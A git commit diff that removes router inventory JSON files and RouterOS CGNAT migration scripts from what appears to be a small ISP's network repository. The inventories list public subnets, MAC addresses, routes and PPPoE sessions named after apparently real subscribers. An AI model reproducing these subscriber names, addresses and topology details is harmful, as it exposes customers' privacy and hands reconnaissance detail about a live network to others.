update
This commit is contained in:
parent
24d7166bde
commit
39c6843a5c
77 changed files with 3011 additions and 59304 deletions
|
|
@ -1,367 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.253",
|
||||
"identity": null,
|
||||
"timestamp": "2025-10-04T11:06:19.612193",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "204.110.191.185/30",
|
||||
"network": "204.110.191.184",
|
||||
"interface": "sfp-sfpplus1-edge-preseem",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.89/29",
|
||||
"network": "10.250.1.88",
|
||||
"interface": "ether5-climax",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.62/29",
|
||||
"network": "10.250.1.56",
|
||||
"interface": "ether4-newhope",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.191.181/30",
|
||||
"network": "204.110.191.180",
|
||||
"interface": "ether3-edge-direct",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.254.254.253/32",
|
||||
"network": "10.254.254.253",
|
||||
"interface": "loopback",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.2.6/29",
|
||||
"network": "10.250.2.0",
|
||||
"interface": "ether2-office",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.38/29",
|
||||
"network": "10.250.1.32",
|
||||
"interface": "ether1-982-60ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.54/29",
|
||||
"network": "10.250.1.48",
|
||||
"interface": "ether6-culleoka-11ghz",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.11.254/22",
|
||||
"network": "100.64.8.0",
|
||||
"interface": "combo1-380",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.79.254/20",
|
||||
"network": "10.10.64.0",
|
||||
"interface": "vlan10_combo1",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.11.253/32",
|
||||
"network": "100.64.11.183",
|
||||
"interface": "<pppoe-luiscabrera>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.11.253/32",
|
||||
"network": "100.64.11.174",
|
||||
"interface": "<pppoe-mariacortes-1>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.11.253/32",
|
||||
"network": "100.64.11.173",
|
||||
"interface": "<pppoe-terrybates-1>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.11.253/32",
|
||||
"network": "100.64.11.180",
|
||||
"interface": "<pppoe-erinthompson>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.11.253/32",
|
||||
"network": "100.64.11.177",
|
||||
"interface": "<pppoe-brianhardesty>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "combo1-380",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:77",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether1-982-60ghz",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:78",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether2-office",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:79",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether3-edge-direct",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:7A",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether4-newhope",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:7B",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5-climax",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:7C",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6-culleoka-11ghz",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:7D",
|
||||
"comment": "",
|
||||
"mtu": 9000
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus1-edge-preseem",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:EF:AD:76",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-brianhardesty>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-erinthompson>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-luiscabrera>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mariacortes-1>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-terrybates-1>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "loopback",
|
||||
"type": "bridge",
|
||||
"mac": "0E:66:73:AA:10:86",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_combo1",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:EF:AD:77",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "vlan10_combo1",
|
||||
"vlan_id": 10,
|
||||
"interface": "combo1-380"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": 380,
|
||||
"interface": "combo1-380"
|
||||
}
|
||||
],
|
||||
"routes": [
|
||||
{
|
||||
"destination": "10.10.0.0/20",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.10.16.0/20",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.10.160.0/20",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.160.0/20",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.0.0/22",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.4.0/22",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "100.64.12.0/22",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.32/27",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.64/27",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.188.224/27",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "204.110.191.0/27",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.8/29",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.24/29",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.24/29",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.64/29",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.64/29",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.88/29",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.250.1.144/29",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.101/32",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.102/32",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"destination": "10.254.254.111/32",
|
||||
"gateway": "10.250.1.94",
|
||||
"distance": 1,
|
||||
"comment": ""
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -1,78 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.254",
|
||||
"timestamp": "2025-10-04T11:10:47.465125",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "71.41.226.118/30",
|
||||
"network": "71.41.226.116",
|
||||
"interface": "sfp-sfpplus12-spectrum",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"address": "204.110.191.186/30",
|
||||
"network": "204.110.191.184",
|
||||
"interface": "sfp-sfpplus11-preseem",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"address": "204.110.191.254/26",
|
||||
"network": "204.110.191.192",
|
||||
"interface": "vlan9_sfpplus8",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"address": "10.254.254.254/32",
|
||||
"network": "10.254.254.254",
|
||||
"interface": "loopback",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"address": "204.110.191.182/30",
|
||||
"network": "204.110.191.180",
|
||||
"interface": "sfp-sfpplus7-core-direct",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"address": "10.0.0.254/24",
|
||||
"network": "10.0.0.0",
|
||||
"interface": "sfp-sfpplus8-server-switch",
|
||||
"comment": ""
|
||||
},
|
||||
{
|
||||
"address": "204.110.190.128/25",
|
||||
"network": "204.110.190.128",
|
||||
"interface": "cgnat",
|
||||
"comment": "CGNAT pool"
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "sfp-sfpplus7-core-direct",
|
||||
"type": "ether"
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus8-server-switch",
|
||||
"type": "ether"
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus11-preseem",
|
||||
"type": "ether"
|
||||
},
|
||||
{
|
||||
"name": "sfp-sfpplus12-spectrum",
|
||||
"type": "ether"
|
||||
},
|
||||
{
|
||||
"name": "cgnat",
|
||||
"type": "bridge"
|
||||
},
|
||||
{
|
||||
"name": "loopback",
|
||||
"type": "bridge"
|
||||
},
|
||||
{
|
||||
"name": "vlan9_sfpplus8",
|
||||
"type": "vlan"
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
@ -1,325 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.111",
|
||||
"identity": null,
|
||||
"timestamp": "2025-10-04T10:57:42.536564",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.254.254.111/32",
|
||||
"network": "10.254.254.111",
|
||||
"interface": "loopback0",
|
||||
"comment": "Loopback",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.65/29",
|
||||
"network": "10.250.1.64",
|
||||
"interface": "ether2-climax",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.94/27",
|
||||
"network": "204.110.188.64",
|
||||
"interface": 494,
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.64.175.254/20",
|
||||
"network": "10.64.160.0",
|
||||
"interface": 494,
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.175.254/20",
|
||||
"network": "10.10.160.0",
|
||||
"interface": "management",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/20",
|
||||
"network": "100.64.160.0",
|
||||
"interface": 494,
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.213",
|
||||
"interface": "<pppoe-victoriaobier>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.212",
|
||||
"interface": "<pppoe-stephenbeegle>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.210",
|
||||
"interface": "<pppoe-mattkosarek>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.209",
|
||||
"interface": "<pppoe-stevemolina>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.208",
|
||||
"interface": "<pppoe-daycor>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.207",
|
||||
"interface": "<pppoe-cathyday>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.206",
|
||||
"interface": "<pppoe-olgagutierrez>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.205",
|
||||
"interface": "<pppoe-ashleysmith>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.204",
|
||||
"interface": "<pppoe-stephenday>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.202",
|
||||
"interface": "<pppoe-donmckinney>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.214",
|
||||
"interface": "<pppoe-joannarodriguez>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.211",
|
||||
"interface": "<pppoe-kevinarana>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.175.254/32",
|
||||
"network": "100.64.174.203",
|
||||
"interface": "<pppoe-melodymccarty>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "ether2-climax",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:DD:87:55",
|
||||
"comment": "ether2",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:DD:87:58",
|
||||
"comment": "ether5",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6",
|
||||
"type": "ether",
|
||||
"mac": "DC:2C:6E:DD:87:59",
|
||||
"comment": "ether6",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": 494,
|
||||
"type": "bridge",
|
||||
"mac": "DC:2C:6E:DD:87:58",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ashleysmith>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-cathyday>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-daycor>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-donmckinney>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-joannarodriguez>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kevinarana>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mattkosarek>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-melodymccarty>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-olgagutierrez>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-stephenbeegle>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-stephenday>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-stevemolina>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-victoriaobier>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "loopback0",
|
||||
"type": "bridge",
|
||||
"mac": "AE:B5:02:38:0E:73",
|
||||
"comment": "Loopback",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "management",
|
||||
"type": "bridge",
|
||||
"mac": "DC:2C:6E:DD:87:58",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether5",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:DD:87:58",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether6",
|
||||
"type": "vlan",
|
||||
"mac": "DC:2C:6E:DD:87:59",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "vlan10_ether5",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether5"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether6",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether6"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether7",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether7"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether8",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether8"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": 494,
|
||||
"interface": 494
|
||||
}
|
||||
],
|
||||
"routes": []
|
||||
}
|
||||
|
|
@ -1,49 +0,0 @@
|
|||
# 982 Router CGNAT Migration Script
|
||||
# Changes CGNAT from 100.64.32.0/22 to 100.64.48.0/20
|
||||
# This gives 4x more addresses (1,024 -> 4,096)
|
||||
#
|
||||
# IMPORTANT: This will cause a brief service interruption
|
||||
# Run during maintenance window
|
||||
#
|
||||
# Current: 100.64.32.0/22 (100.64.32.1 - 100.64.35.254)
|
||||
# New: 100.64.48.0/20 (100.64.48.1 - 100.64.63.254)
|
||||
|
||||
# Step 1: Add new IP pool (do this first to prepare)
|
||||
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199
|
||||
|
||||
# Step 2: Add new IP address to the interface
|
||||
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT subnet"
|
||||
|
||||
# Step 3: Create new PPP profile pointing to new pool
|
||||
/ppp profile add name=982-new local-address=100.64.63.253 remote-address=cgnat-new
|
||||
|
||||
# Step 4: Update PPPoE server to use new profile
|
||||
/interface pppoe-server server set [find name=982] default-profile=982-new
|
||||
|
||||
# Step 5: Wait for existing sessions to reconnect (they will get new IPs)
|
||||
# Monitor with: /ppp active print count-only
|
||||
:delay 30s
|
||||
|
||||
# Step 6: Check that clients are getting new IPs
|
||||
# /ppp active print brief
|
||||
|
||||
# Step 7: After confirming all clients have new IPs, remove old configuration
|
||||
# WARNING: Only run these after confirming migration is successful!
|
||||
|
||||
# Remove old IP address
|
||||
# /ip address remove [find address="100.64.35.254/22"]
|
||||
|
||||
# Remove old IP pool
|
||||
# /ip pool remove [find name=cgnat]
|
||||
|
||||
# Remove old PPP profile
|
||||
# /ppp profile remove [find name=982]
|
||||
|
||||
# Step 8: Rename new items to standard names
|
||||
# /ip pool set [find name=cgnat-new] name=cgnat
|
||||
# /ppp profile set [find name=982-new] name=982
|
||||
|
||||
# Step 9: Update any firewall NAT rules if needed
|
||||
# Check with: /ip firewall nat print where src-address~"100.64.32"
|
||||
|
||||
# Step 10: Update NetBox documentation with new subnet
|
||||
|
|
@ -1,84 +0,0 @@
|
|||
# 982 Router CGNAT Migration Script - SAFE VERSION
|
||||
# This version adds the new configuration alongside the old one
|
||||
# Allows gradual migration without service interruption
|
||||
#
|
||||
# Migration: 100.64.32.0/22 -> 100.64.48.0/20
|
||||
# Matches management subnet pattern (10.10.48.0/20)
|
||||
|
||||
# PREPARATION PHASE - Run these first
|
||||
{
|
||||
# Add new CGNAT pool with expanded range
|
||||
/ip pool add name=cgnat-new ranges=100.64.48.1-100.64.63.199 comment="New /20 CGNAT pool"
|
||||
|
||||
# Add new IP address (keep old one for now)
|
||||
/ip address add address=100.64.63.254/20 interface=982 comment="New CGNAT gateway /20"
|
||||
|
||||
# Create temporary PPP profile for migration
|
||||
/ppp profile add name=982-migrate local-address=100.64.63.253 remote-address=cgnat-new comment="Migration profile"
|
||||
|
||||
# Print current state
|
||||
:put "New CGNAT configuration added. Current state:"
|
||||
/ip pool print where name~"cgnat"
|
||||
/ip address print where interface=982
|
||||
/ppp profile print where name~"982"
|
||||
}
|
||||
|
||||
# TESTING PHASE - Test with one client
|
||||
{
|
||||
# Change one PPPoE client to test
|
||||
# Replace 'testclient' with actual username
|
||||
# /ppp secret set [find name="testclient"] profile=982-migrate
|
||||
|
||||
# Have client reconnect and verify they get IP from new range
|
||||
# Check with: /ppp active print where name="testclient"
|
||||
}
|
||||
|
||||
# MIGRATION PHASE - Run during maintenance window
|
||||
{
|
||||
# Update PPPoE server to use new profile for new connections
|
||||
/interface pppoe-server server set [find name=982] default-profile=982-migrate
|
||||
|
||||
# Force all clients to reconnect (will cause brief outage)
|
||||
# /ppp active remove [find]
|
||||
|
||||
# Or disconnect clients gradually:
|
||||
# :foreach i in=[/ppp active find] do={
|
||||
# /ppp active remove $i
|
||||
# :delay 1s
|
||||
# }
|
||||
}
|
||||
|
||||
# VERIFICATION COMMANDS
|
||||
{
|
||||
# Check active connections
|
||||
:put "Active PPPoE connections by IP range:"
|
||||
:put "Old range (100.64.32.x): $([:len [/ppp active find where address~"100.64.32"]])"
|
||||
:put "Old range (100.64.33.x): $([:len [/ppp active find where address~"100.64.33"]])"
|
||||
:put "Old range (100.64.34.x): $([:len [/ppp active find where address~"100.64.34"]])"
|
||||
:put "Old range (100.64.35.x): $([:len [/ppp active find where address~"100.64.35"]])"
|
||||
:put "New range (100.64.48-63.x): $([:len [/ppp active find where address~"100.64.[45][0-9]"]])"
|
||||
}
|
||||
|
||||
# CLEANUP PHASE - Only run after ALL clients migrated
|
||||
{
|
||||
# Remove old configuration
|
||||
# /ip address remove [find address="100.64.35.254/22"]
|
||||
# /ip pool remove [find name=cgnat]
|
||||
# /ppp profile remove [find name=982]
|
||||
|
||||
# Rename new items to standard names
|
||||
# /ip pool set [find name=cgnat-new] name=cgnat comment="982 CGNAT pool /20"
|
||||
# /ppp profile set [find name=982-migrate] name=982 comment=""
|
||||
# /ip address set [find address="100.64.63.254/20"] comment="982 CGNAT gateway"
|
||||
}
|
||||
|
||||
# ROLLBACK COMMANDS - If something goes wrong
|
||||
{
|
||||
# Revert PPPoE server to old profile
|
||||
# /interface pppoe-server server set [find name=982] default-profile=982
|
||||
|
||||
# Remove new configuration
|
||||
# /ip address remove [find address="100.64.63.254/20"]
|
||||
# /ip pool remove [find name=cgnat-new]
|
||||
# /ppp profile remove [find name=982-migrate]
|
||||
}
|
||||
|
|
@ -1,503 +0,0 @@
|
|||
{
|
||||
"host": "10.254.254.110",
|
||||
"identity": null,
|
||||
"timestamp": "2025-10-04T10:59:31.988938",
|
||||
"subnets": [
|
||||
{
|
||||
"address": "10.254.254.110/32",
|
||||
"network": "10.254.254.110",
|
||||
"interface": "loopback",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.250.1.33/29",
|
||||
"network": "10.250.1.32",
|
||||
"interface": "ether7-380",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "10.10.63.254/20",
|
||||
"network": "10.10.48.0",
|
||||
"interface": "mgmt",
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.254/22",
|
||||
"network": "100.64.32.0",
|
||||
"interface": 982,
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "204.110.188.126/27",
|
||||
"network": "204.110.188.96",
|
||||
"interface": 982,
|
||||
"comment": "",
|
||||
"dynamic": false
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.199",
|
||||
"interface": "<pppoe-derrickmccausland>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.198",
|
||||
"interface": "<pppoe-coreyball>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.197",
|
||||
"interface": "<pppoe-kennethcampbell2>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.196",
|
||||
"interface": "<pppoe-joshuasoliz>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.195",
|
||||
"interface": "<pppoe-krisdougherty>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.194",
|
||||
"interface": "<pppoe-zackknuckey>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.193",
|
||||
"interface": "<pppoe-jackworthy>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.192",
|
||||
"interface": "<pppoe-joselucas>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.191",
|
||||
"interface": "<pppoe-nicolemaenn>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.190",
|
||||
"interface": "<pppoe-melanieweddle>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.35.253/32",
|
||||
"network": "100.64.35.189",
|
||||
"interface": "<pppoe-scottanderson>",
|
||||
